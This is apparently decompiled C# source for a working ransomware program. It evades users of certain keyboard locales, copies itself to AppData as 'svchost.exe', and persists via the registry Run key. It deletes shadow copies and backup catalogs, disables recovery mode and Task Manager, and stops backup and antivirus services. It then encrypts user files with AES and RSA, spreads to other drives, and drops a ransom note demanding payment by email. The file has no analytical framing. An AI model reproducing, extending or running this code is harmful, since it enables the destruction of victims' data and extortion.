using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.ServiceProcess;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using Microsoft.Win32;

namespace ConsoleApplication7
{
	// Token: 0x02000002 RID: 2
	internal class Program
	{
		// Token: 0x06000001 RID: 1
		[DllImport("user32.dll", CharSet = CharSet.Auto)]
		private static extern int SystemParametersInfo(uint action, uint uParam, string vParam, uint winIni);

		// Token: 0x06000002 RID: 2 RVA: 0x00002058 File Offset: 0x00000258
		private static void Main(string[] args)
		{
			if (Program.forbiddenCountry())
			{
				MessageBox.Show("Forbidden Country");
				return;
			}
			if (Program.RegistryValue())
			{
				new Thread(delegate()
				{
					Program.Run();
				}).Start();
			}
			if (Program.isOver())
			{
				return;
			}
			if (Program.AlreadyRunning())
			{
				Environment.Exit(1);
			}
			if (Program.checkSleep)
			{
				Program.sleepOutOfTempFolder();
			}
			if (Program.checkAdminPrivilage)
			{
				Program.copyResistForAdmin(Program.processName);
			}
			else if (Program.checkCopyRoaming)
			{
				Program.copyRoaming(Program.processName);
			}
			if (Program.checkStartupFolder)
			{
				Program.registryStartup();
			}
			if (Program.checkAdminPrivilage)
			{
				if (Program.checkdeleteShadowCopies)
				{
					Program.deleteShadowCopies();
				}
				if (Program.checkdisableRecoveryMode)
				{
					Program.disableRecoveryMode();
				}
				if (Program.checkdeleteBackupCatalog)
				{
					Program.deleteBackupCatalog();
				}
				if (Program.disableTaskManager)
				{
					Program.DisableTaskManager();
				}
				if (Program.checkStopBackupServices)
				{
					Program.stopBackupServices();
				}
			}
			Program.lookForDirectories();
			if (Program.checkSpread)
			{
				Program.spreadIt(Program.spreadName);
			}
			Program.addAndOpenNote();
			Program.SetWallpaper(Program.base64Image);
		}

		// Token: 0x06000003 RID: 3 RVA: 0x0000215F File Offset: 0x0000035F
		public static void Run()
		{
			Application.Run(new driveNotification.NotificationForm());
		}

		// Token: 0x06000004 RID: 4 RVA: 0x0000216C File Offset: 0x0000036C
		private static bool forbiddenCountry()
		{
			string[] array = new string[]
			{
				"az-Latn-AZ",
				"tr-TR"
			};
			foreach (string b in array)
			{
				try
				{
					string name = InputLanguage.CurrentInputLanguage.Culture.Name;
					if (name == b)
					{
						return true;
					}
				}
				catch
				{
				}
			}
			return false;
		}

		// Token: 0x06000005 RID: 5 RVA: 0x000021E8 File Offset: 0x000003E8
		private static void sleepOutOfTempFolder()
		{
			string directoryName = Path.GetDirectoryName(Assembly.GetEntryAssembly().Location);
			string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
			if (directoryName != folderPath)
			{
				Thread.Sleep(Program.sleepTextbox * 1000);
			}
		}

		// Token: 0x06000006 RID: 6 RVA: 0x00002228 File Offset: 0x00000428
		private static bool RegistryValue()
		{
			bool result;
			try
			{
				using (RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("Software\\" + Program.appMutexRun2))
				{
					object value = registryKey.GetValue(Program.appMutexRun2);
					registryKey.Close();
					if (value.ToString().Length > 0)
					{
						result = false;
					}
					else
					{
						result = true;
					}
				}
			}
			catch
			{
				result = true;
			}
			return result;
		}

		// Token: 0x06000007 RID: 7 RVA: 0x000022A4 File Offset: 0x000004A4
		private static bool AlreadyRunning()
		{
			Process[] processes = Process.GetProcesses();
			Process currentProcess = Process.GetCurrentProcess();
			foreach (Process process in processes)
			{
				try
				{
					if (process.Modules[0].FileName == Assembly.GetExecutingAssembly().Location && currentProcess.Id != process.Id)
					{
						return true;
					}
				}
				catch (Exception)
				{
				}
			}
			return false;
		}

		// Token: 0x06000008 RID: 8 RVA: 0x00002328 File Offset: 0x00000528
		public static string RandomString(int length)
		{
			StringBuilder stringBuilder = new StringBuilder();
			for (int i = 0; i < length; i++)
			{
				char value = "abcdefghijklmnopqrstuvwxyz0123456789"[Program.random.Next(0, "abcdefghijklmnopqrstuvwxyz0123456789".Length)];
				stringBuilder.Append(value);
			}
			return stringBuilder.ToString();
		}

		// Token: 0x06000009 RID: 9 RVA: 0x00002378 File Offset: 0x00000578
		public static string RandomStringForExtension(int length)
		{
			if (Program.encryptedFileExtension == "")
			{
				StringBuilder stringBuilder = new StringBuilder();
				for (int i = 0; i < length; i++)
				{
					char value = "abcdefghijklmnopqrstuvwxyz0123456789"[Program.random.Next(0, "abcdefghijklmnopqrstuvwxyz0123456789".Length)];
					stringBuilder.Append(value);
				}
				return stringBuilder.ToString();
			}
			return Program.encryptedFileExtension;
		}

		// Token: 0x0600000A RID: 10 RVA: 0x000023DC File Offset: 0x000005DC
		public static string Base64EncodeString(string plainText)
		{
			byte[] bytes = Encoding.UTF8.GetBytes(plainText);
			return Convert.ToBase64String(bytes);
		}

		// Token: 0x0600000B RID: 11 RVA: 0x000025FC File Offset: 0x000007FC
		private static void encryptDirectory(string location)
		{
			try
			{
				string[] files = Directory.GetFiles(location);
				bool checkCrypted = true;
				Parallel.For(0, files.Length, delegate(int i)
				{
					try
					{
						string extension = Path.GetExtension(files[i]);
						string fileName = Path.GetFileName(files[i]);
						if (Array.Exists<string>(Program.validExtensions, (string E) => E == extension.ToLower()) && fileName != Program.droppedMessageTextbox)
						{
							FileInfo fileInfo = new FileInfo(files[i]);
							try
							{
								fileInfo.Attributes = FileAttributes.Normal;
							}
							catch
							{
							}
							string text = Program.CreatePassword(40);
							if (fileInfo.Length < (long)((ulong)-1926258176))
							{
								if (Program.checkDirContains(files[i]))
								{
									string keyRSA = Program.RSA_Encrypt(text, Program.rsaKey());
									Program.AES_Encrypt(files[i], text, keyRSA);
								}
							}
							else
							{
								Program.AES_Encrypt_Large(files[i], text, fileInfo.Length);
							}
							if (checkCrypted)
							{
								checkCrypted = false;
								string path = location + "/" + Program.droppedMessageTextbox;
								string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.CommonDesktopDirectory);
								if (!File.Exists(path) && location != folderPath)
								{
									File.WriteAllLines(path, Program.messages);
								}
							}
						}
					}
					catch (Exception)
					{
					}
				});
				string[] childDirectories = Directory.GetDirectories(location);
				Parallel.For(0, childDirectories.Length, delegate(int i)
				{
					try
					{
						DirectoryInfo directoryInfo = new DirectoryInfo(childDirectories[i]);
						directoryInfo.Attributes &= ~FileAttributes.Normal;
					}
					catch
					{
					}
					Program.encryptDirectory(childDirectories[i]);
				});
			}
			catch (Exception)
			{
			}
		}

		// Token: 0x0600000C RID: 12 RVA: 0x00002698 File Offset: 0x00000898
		private static bool checkDirContains(string directory)
		{
			directory = directory.ToLower();
			string[] array = new string[]
			{
				"appdata\\local",
				"appdata\\locallow",
				"users\\all users",
				"\\ProgramData",
				"boot.ini",
				"bootfont.bin",
				"boot.ini",
				"iconcache.db",
				"ntuser.dat",
				"ntuser.dat.log",
				"ntuser.ini",
				"thumbs.db",
				"autorun.inf",
				"bootsect.bak",
				"bootmgfw.efi",
				"desktop.ini"
			};
			foreach (string value in array)
			{
				if (directory.Contains(value))
				{
					return false;
				}
			}
			return true;
		}

		// Token: 0x0600000D RID: 13 RVA: 0x0000276C File Offset: 0x0000096C
		public static string rsaKey()
		{
			StringBuilder stringBuilder = new StringBuilder();
			stringBuilder.AppendLine("<?xml version=\"1.0\" encoding=\"utf-16\"?>");
			stringBuilder.AppendLine("<RSAParameters xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">");
			stringBuilder.AppendLine("  <Exponent>AQAB</Exponent>");
			stringBuilder.AppendLine("  <Modulus>0NkBXyBccblrRkj4kZaeaiw5NAalrt650lXXgqYpNPykigo7zEkhS3shCp7IX1VOEpNHRrzupyUMpVoBfVGSX2n6JI9gGKtZMltbKM/kRU+loTUPHawxNFds9LVLFGwZcHtxLxz71hRrL3kvVPTi98scKXrii240x1LuiMgHDr0zGcLZ6GPluBNNtVdoTTtDPSv5kdGqtBlfBRO5z89Mto/lkgET4YWR+WujzTVBw0zaKg3qf4/4kW/2GT5F2rid56WQosicTgrv/14Z/P5BnMpxujNbwGU/wVPj9Op1Vazv7IMq1LkO5TgBXhTILonhdXkDpihOTE/OSOlHBm17lQ==</Modulus>");
			stringBuilder.AppendLine("</RSAParameters>");
			return stringBuilder.ToString();
		}

		// Token: 0x0600000E RID: 14 RVA: 0x000027C4 File Offset: 0x000009C4
		public static string CreatePassword(int length)
		{
			StringBuilder stringBuilder = new StringBuilder();
			Random random = new Random();
			while (0 < length--)
			{
				stringBuilder.Append("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/"[random.Next("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/".Length)]);
			}
			return stringBuilder.ToString();
		}

		// Token: 0x0600000F RID: 15 RVA: 0x00002818 File Offset: 0x00000A18
		private static void AES_Encrypt(string inputFile, string password, string keyRSA)
		{
			string path = inputFile + "." + Program.RandomStringForExtension(4);
			byte[] array = new byte[]
			{
				1,
				2,
				3,
				4,
				5,
				6,
				7,
				8
			};
			FileStream fileStream = new FileStream(path, FileMode.Create);
			byte[] bytes = Encoding.UTF8.GetBytes(password);
			RijndaelManaged rijndaelManaged = new RijndaelManaged();
			rijndaelManaged.KeySize = 128;
			rijndaelManaged.BlockSize = 128;
			rijndaelManaged.Padding = PaddingMode.PKCS7;
			Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(bytes, array, 1);
			rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
			rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
			rijndaelManaged.Mode = CipherMode.CBC;
			fileStream.Write(array, 0, array.Length);
			CryptoStream cryptoStream = new CryptoStream(fileStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);
			FileStream fileStream2 = new FileStream(inputFile, FileMode.Open);
			fileStream2.CopyTo(cryptoStream);
			fileStream2.Flush();
			fileStream2.Close();
			cryptoStream.Flush();
			cryptoStream.Close();
			fileStream.Close();
			using (FileStream fileStream3 = new FileStream(path, FileMode.Append, FileAccess.Write))
			{
				using (StreamWriter streamWriter = new StreamWriter(fileStream3))
				{
					streamWriter.Write(keyRSA);
					streamWriter.Flush();
					streamWriter.Close();
				}
			}
			File.WriteAllText(inputFile, "?");
			File.Delete(inputFile);
		}

		// Token: 0x06000010 RID: 16 RVA: 0x00002988 File Offset: 0x00000B88
		private static void AES_Encrypt_Large(string inputFile, string password, long lenghtBytes)
		{
			Program.GenerateRandomSalt();
			using (FileStream fileStream = new FileStream(inputFile + "." + Program.RandomStringForExtension(4), FileMode.Create, FileAccess.Write, FileShare.None))
			{
				fileStream.SetLength(lenghtBytes);
				File.WriteAllText(inputFile, "?");
				File.Delete(inputFile);
			}
		}

		// Token: 0x06000011 RID: 17 RVA: 0x000029EC File Offset: 0x00000BEC
		public static byte[] GenerateRandomSalt()
		{
			byte[] array = new byte[32];
			using (RNGCryptoServiceProvider rngcryptoServiceProvider = new RNGCryptoServiceProvider())
			{
				for (int i = 0; i < 10; i++)
				{
					rngcryptoServiceProvider.GetBytes(array);
				}
			}
			return array;
		}

		// Token: 0x06000012 RID: 18 RVA: 0x00002A38 File Offset: 0x00000C38
		public static string RSA_Encrypt(string textToEncrypt, string publicKeyString)
		{
			byte[] bytes = Encoding.UTF8.GetBytes(textToEncrypt);
			string result;
			using (RSACryptoServiceProvider rsacryptoServiceProvider = new RSACryptoServiceProvider(2048))
			{
				try
				{
					rsacryptoServiceProvider.FromXmlString(publicKeyString.ToString());
					byte[] inArray = rsacryptoServiceProvider.Encrypt(bytes, true);
					string text = Convert.ToBase64String(inArray);
					result = text;
				}
				finally
				{
					rsacryptoServiceProvider.PersistKeyInCsp = false;
				}
			}
			return result;
		}

		// Token: 0x06000013 RID: 19 RVA: 0x00002AC8 File Offset: 0x00000CC8
		private static void lookForDirectories()
		{
			foreach (DriveInfo driveInfo in DriveInfo.GetDrives())
			{
				string pathRoot = Path.GetPathRoot(Environment.SystemDirectory);
				if (driveInfo.ToString() == pathRoot)
				{
					string[] array = new string[]
					{
						"Program Files",
						"Program Files (x86)",
						"Windows",
						"$Recycle.Bin",
						"MSOCache",
						"Documents and Settings",
						"Intel",
						"PerfLogs",
						"Windows.old",
						"AMD",
						"NVIDIA",
						"ProgramData"
					};
					string[] directories = Directory.GetDirectories(pathRoot);
					for (int j = 0; j < directories.Length; j++)
					{
						DirectoryInfo directoryInfo = new DirectoryInfo(directories[j]);
						string dirName = directoryInfo.Name;
						if (!Array.Exists<string>(array, (string E) => E == dirName))
						{
							Program.encryptDirectory(directories[j]);
						}
					}
				}
				else
				{
					Program.encryptDirectory(driveInfo.ToString());
				}
			}
		}

		// Token: 0x06000014 RID: 20 RVA: 0x00002BF8 File Offset: 0x00000DF8
		private static void copyRoaming(string processName)
		{
			string friendlyName = AppDomain.CurrentDomain.FriendlyName;
			string location = Assembly.GetExecutingAssembly().Location;
			string text = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\";
			string text2 = text + processName;
			if (friendlyName != processName || location != text2)
			{
				byte[] bytes = File.ReadAllBytes(location);
				if (!File.Exists(text2))
				{
					File.WriteAllBytes(text2, bytes);
					ProcessStartInfo processStartInfo = new ProcessStartInfo(text2);
					processStartInfo.WorkingDirectory = text;
					if (new Process
					{
						StartInfo = processStartInfo
					}.Start())
					{
						Environment.Exit(1);
						return;
					}
				}
				else
				{
					try
					{
						File.Delete(text2);
						Thread.Sleep(200);
						File.WriteAllBytes(text2, bytes);
					}
					catch
					{
					}
					ProcessStartInfo processStartInfo2 = new ProcessStartInfo(text2);
					processStartInfo2.WorkingDirectory = text;
					if (new Process
					{
						StartInfo = processStartInfo2
					}.Start())
					{
						Environment.Exit(1);
					}
				}
			}
		}

		// Token: 0x06000015 RID: 21 RVA: 0x00002CF8 File Offset: 0x00000EF8
		private static void copyResistForAdmin(string processName)
		{
			string friendlyName = AppDomain.CurrentDomain.FriendlyName;
			string location = Assembly.GetExecutingAssembly().Location;
			string text = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\";
			string text2 = text + processName;
			ProcessStartInfo startInfo = new ProcessStartInfo(text2)
			{
				UseShellExecute = true,
				Verb = "runas",
				WindowStyle = ProcessWindowStyle.Normal,
				WorkingDirectory = text
			};
			Process process = new Process();
			process.StartInfo = startInfo;
			if (friendlyName != processName || location != text2)
			{
				byte[] bytes = File.ReadAllBytes(location);
				if (!File.Exists(text2))
				{
					File.WriteAllBytes(text2, bytes);
					try
					{
						Process.Start(startInfo);
						Environment.Exit(1);
						return;
					}
					catch (Win32Exception ex)
					{
						if (ex.NativeErrorCode == 1223)
						{
							Program.copyResistForAdmin(processName);
						}
						return;
					}
				}
				try
				{
					File.Delete(text2);
					Thread.Sleep(200);
					File.WriteAllBytes(text2, bytes);
				}
				catch
				{
				}
				try
				{
					Process.Start(startInfo);
					Environment.Exit(1);
				}
				catch (Win32Exception ex2)
				{
					if (ex2.NativeErrorCode == 1223)
					{
						Program.copyResistForAdmin(processName);
					}
				}
			}
		}

		// Token: 0x06000016 RID: 22 RVA: 0x00002E40 File Offset: 0x00001040
		private static void addLinkToStartup()
		{
			string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
			string str = Process.GetCurrentProcess().ProcessName;
			using (StreamWriter streamWriter = new StreamWriter(folderPath + "\\" + str + ".url"))
			{
				string location = Assembly.GetExecutingAssembly().Location;
				streamWriter.WriteLine("[InternetShortcut]");
				streamWriter.WriteLine("URL=file:///" + location);
				streamWriter.WriteLine("IconIndex=0");
				string str2 = location.Replace('\\', '/');
				streamWriter.WriteLine("IconFile=" + str2);
			}
		}

		// Token: 0x06000017 RID: 23 RVA: 0x00002EE4 File Offset: 0x000010E4
		private static void addAndOpenNote()
		{
			string text = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + Program.droppedMessageTextbox;
			try
			{
				if (!File.Exists(text))
				{
					File.WriteAllLines(text, Program.messages);
				}
				Thread.Sleep(500);
				Process.Start(text);
			}
			catch
			{
			}
		}

		// Token: 0x06000018 RID: 24 RVA: 0x00002F44 File Offset: 0x00001144
		private static bool isOver()
		{
			string location = Assembly.GetExecutingAssembly().Location;
			string b = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + Program.processName;
			string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + Program.droppedMessageTextbox;
			if (location != b)
			{
				try
				{
					File.Delete(path);
				}
				catch
				{
				}
			}
			return File.Exists(path) && location == b;
		}

		// Token: 0x06000019 RID: 25 RVA: 0x00002FC4 File Offset: 0x000011C4
		private static void registryStartup()
		{
			try
			{
				RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
				registryKey.SetValue("UpdateTask", Assembly.GetExecutingAssembly().Location);
			}
			catch
			{
			}
		}

		// Token: 0x0600001A RID: 26 RVA: 0x0000300C File Offset: 0x0000120C
		private static void spreadIt(string spreadName)
		{
			foreach (DriveInfo driveInfo in DriveInfo.GetDrives())
			{
				if (driveInfo.ToString() != Path.GetPathRoot(Environment.SystemDirectory) && !File.Exists(driveInfo.ToString() + spreadName))
				{
					try
					{
						File.Copy(Assembly.GetExecutingAssembly().Location, driveInfo.ToString() + spreadName);
					}
					catch
					{
					}
				}
			}
		}

		// Token: 0x0600001B RID: 27 RVA: 0x0000308C File Offset: 0x0000128C
		private static void runCommand(string commands)
		{
			Process process = new Process();
			process.StartInfo = new ProcessStartInfo
			{
				FileName = "cmd.exe",
				Arguments = "/C " + commands,
				WindowStyle = ProcessWindowStyle.Hidden
			};
			process.Start();
			process.WaitForExit();
		}

		// Token: 0x0600001C RID: 28 RVA: 0x000030DC File Offset: 0x000012DC
		private static void deleteShadowCopies()
		{
			Program.runCommand("vssadmin delete shadows /all /quiet & wmic shadowcopy delete");
		}

		// Token: 0x0600001D RID: 29 RVA: 0x000030E8 File Offset: 0x000012E8
		private static void disableRecoveryMode()
		{
			Program.runCommand("bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no");
		}

		// Token: 0x0600001E RID: 30 RVA: 0x000030F4 File Offset: 0x000012F4
		private static void deleteBackupCatalog()
		{
			Program.runCommand("wbadmin delete catalog -quiet");
		}

		// Token: 0x0600001F RID: 31 RVA: 0x00003100 File Offset: 0x00001300
		public static void DisableTaskManager()
		{
			try
			{
				RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
				registryKey.SetValue("DisableTaskMgr", "1");
				registryKey.Close();
			}
			catch
			{
			}
		}

		// Token: 0x06000020 RID: 32 RVA: 0x00003148 File Offset: 0x00001348
		private static void stopBackupServices()
		{
			string[] array = new string[]
			{
				"BackupExecAgentBrowser",
				"BackupExecDiveciMediaService",
				"BackupExecJobEngine",
				"BackupExecManagementService",
				"vss",
				"sql",
				"svc$",
				"memtas",
				"sophos",
				"veeam",
				"backup",
				"GxVss",
				"GxBlr",
				"GxFWD",
				"GxCVD",
				"GxCIMgr",
				"DefWatch",
				"ccEvtMgr",
				"SavRoam",
				"RTVscan",
				"QBFCService",
				"Intuit.QuickBooks.FCS",
				"YooBackup",
				"YooIT",
				"zhudongfangyu",
				"sophos",
				"stc_raw_agent",
				"VSNAPVSS",
				"QBCFMonitorService",
				"VeeamTransportSvc",
				"VeeamDeploymentService",
				"VeeamNFSSvc",
				"veeam",
				"PDVFSService",
				"BackupExecVSSProvider",
				"BackupExecAgentAccelerator",
				"BackupExecRPCService",
				"AcrSch2Svc",
				"AcronisAgent",
				"CASAD2DWebSvc",
				"CAARCUpdateSvc",
				"TeamViewer"
			};
			foreach (string name in array)
			{
				try
				{
					ServiceController serviceController = new ServiceController(name);
					serviceController.Stop();
				}
				catch
				{
				}
			}
		}

		// Token: 0x06000021 RID: 33 RVA: 0x00003310 File Offset: 0x00001510
		public static void SetWallpaper(string base64)
		{
			if (base64 != "")
			{
				try
				{
					string text = Path.GetTempPath() + Program.RandomString(9) + ".jpg";
					File.WriteAllBytes(text, Convert.FromBase64String(base64));
					Program.SystemParametersInfo(20U, 0U, text, 3U);
				}
				catch
				{
				}
			}
		}

		// Token: 0x04000001 RID: 1
		private static readonly byte[] _salt = new byte[32];

		// Token: 0x04000002 RID: 2
		private static string userName = Environment.UserName;

		// Token: 0x04000003 RID: 3
		private static string userDir = "C:\\Users\\";

		// Token: 0x04000004 RID: 4
		public static string appMutexRun = "v45hchdrg72ns7m6jmy";

		// Token: 0x04000005 RID: 5
		public static bool encryptionAesRsa = true;

		// Token: 0x04000006 RID: 6
		public static string encryptedFileExtension = "";

		// Token: 0x04000007 RID: 7
		private static bool checkSpread = true;

		// Token: 0x04000008 RID: 8
		private static string spreadName = "surprise.exe";

		// Token: 0x04000009 RID: 9
		private static bool checkCopyRoaming = true;

		// Token: 0x0400000A RID: 10
		private static string processName = "svchost.exe";

		// Token: 0x0400000B RID: 11
		public static string appMutexRun2 = "oAnWieozQPsRK7Bj83r4";

		// Token: 0x0400000C RID: 12
		private static bool checkStartupFolder = true;

		// Token: 0x0400000D RID: 13
		private static bool checkSleep = false;

		// Token: 0x0400000E RID: 14
		private static int sleepTextbox = 10;

		// Token: 0x0400000F RID: 15
		private static string base64Image = " [...string is too long...]";

		// Token: 0x04000010 RID: 16
		public static string appMutexStartup = "1qrx0frdqdur0lllc6ezm";

		// Token: 0x04000011 RID: 17
		private static string droppedMessageTextbox = "SkynetData.txt";

		// Token: 0x04000012 RID: 18
		private static bool checkAdminPrivilage = true;

		// Token: 0x04000013 RID: 19
		private static bool checkdeleteShadowCopies = true;

		// Token: 0x04000014 RID: 20
		private static bool checkdisableRecoveryMode = true;

		// Token: 0x04000015 RID: 21
		private static bool checkdeleteBackupCatalog = true;

		// Token: 0x04000016 RID: 22
		private static bool disableTaskManager = true;

		// Token: 0x04000017 RID: 23
		private static bool checkStopBackupServices = true;

		// Token: 0x04000018 RID: 24
		public static string appMutexStartup2 = "19DpJAWr6NCVT2";

		// Token: 0x04000019 RID: 25
		public static string appMutex2 = Program.appMutexStartup2 + Program.appMutexRun2;

		// Token: 0x0400001A RID: 26
		public static string staticSplit = "bc";

		// Token: 0x0400001B RID: 27
		public static string appMutex = Program.staticSplit + Program.appMutexStartup + Program.appMutexRun;

		// Token: 0x0400001C RID: 28
		public static readonly Regex appMutexRegex = new Regex("(?:[13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})");

		// Token: 0x0400001D RID: 29
		private static List<string> messages = new List<string>
		{
			"------------------------ ALL YOUR FILES ARE ENCRYPTED ------------------------",
			"",
			"Don't worry, you can return all your files!",
			"All your files documents, photos, databases and other important are encrypted with strongest encryption and unique key.",
			"The only method of recovering files is to purchase decrypt tool and unique key for you.",
			"This software will decrypt all your encrypted files.",
			"What guarantees do we give to you?",
			"You can send one of your encrypted file from your PC and we decrypt it for free.",
			"But we can decrypt only 1 file for free. File must not contain valuable information",
			"Don't try to use third-party decrypt tools because it will destroy your files.",
			"Discount 50% available if you contact us first 24 hours.",
			"",
			"To get this software you need write on our e-mail:",
			"ransom.data@gmail.com"
		};

		// Token: 0x0400001E RID: 30
		private static string[] validExtensions = new string[]
		{
			".js",
			".sln",
			".suo",
			".cs",
			".c",
			".cpp",
			".pas",
			".h",
			".asm",
			".sqlite3",
			".sqlitedb",
			".sql",
			".accdb",
			".mdb",
			".db",
			".cmd",
			".bat",
			".lnk",
			".url",
			".mat",
			".kys",
			".pif",
			".scf",
			".shs",
			".shb",
			".xnx",
			".ps1",
			".vbs",
			".vb",
			".pl",
			".jsp",
			".php",
			".asp",
			".rb",
			".java",
			".jar",
			".class",
			".sh",
			".mp3",
			".wav",
			".swf",
			".fla",
			".wmv",
			".mpg",
			".vob",
			".mpeg",
			".asf",
			".avi",
			".mov",
			".mp4",
			".3gp",
			".mkv",
			".3g2",
			".flv",
			".raw",
			".gif",
			".png",
			".bmp",
			".jpg",
			".jpeg",
			".vcd",
			".iso",
			".backup",
			".zip",
			".rar",
			".7z",
			".gz",
			".tgz",
			".ta",
			".pdf",
			".pptx",
			".ppt",
			".xltm",
			".xltx",
			".xlc",
			".xlm",
			".xlt",
			".xlw",
			".xlsb",
			".xlsm",
			".xlsx",
			".xls",
			".docx",
			".doc",
			".htm,",
			".html",
			".php5",
			".php",
			".phtml",
			".fla",
			".cmd",
			".ink",
			".exe",
			". txt",
			".gif",
			".csv",
			".raw",
			".lua",
			".dat",
			".vbs",
			".vb6",
			".apk",
			".config",
			".c",
			".resx",
			".vbproj",
			".myapp",
			".cache",
			".pdb",
			".manifest",
			".png",
			".bmp",
			".eps",
			".hdr",
			".exr",
			".ico",
			".svg",
			".tga",
			".tiff",
			".wbmp",
			".webp"
		};

		// Token: 0x0400001F RID: 31
		private static Random random = new Random();

		// Token: 0x02000003 RID: 3
		public static class NativeMethods
		{
			// Token: 0x06000025 RID: 37
			[DllImport("user32.dll", SetLastError = true)]
			[return: MarshalAs(UnmanagedType.Bool)]
			public static extern bool AddClipboardFormatListener(IntPtr hwnd);

			// Token: 0x06000026 RID: 38
			[DllImport("user32.dll", SetLastError = true)]
			public static extern IntPtr SetParent(IntPtr hWndChild, IntPtr hWndNewParent);

			// Token: 0x04000021 RID: 33
			public const int clp = 797;

			// Token: 0x04000022 RID: 34
			public static IntPtr intpreclp = new IntPtr(-3);
		}
	}
}
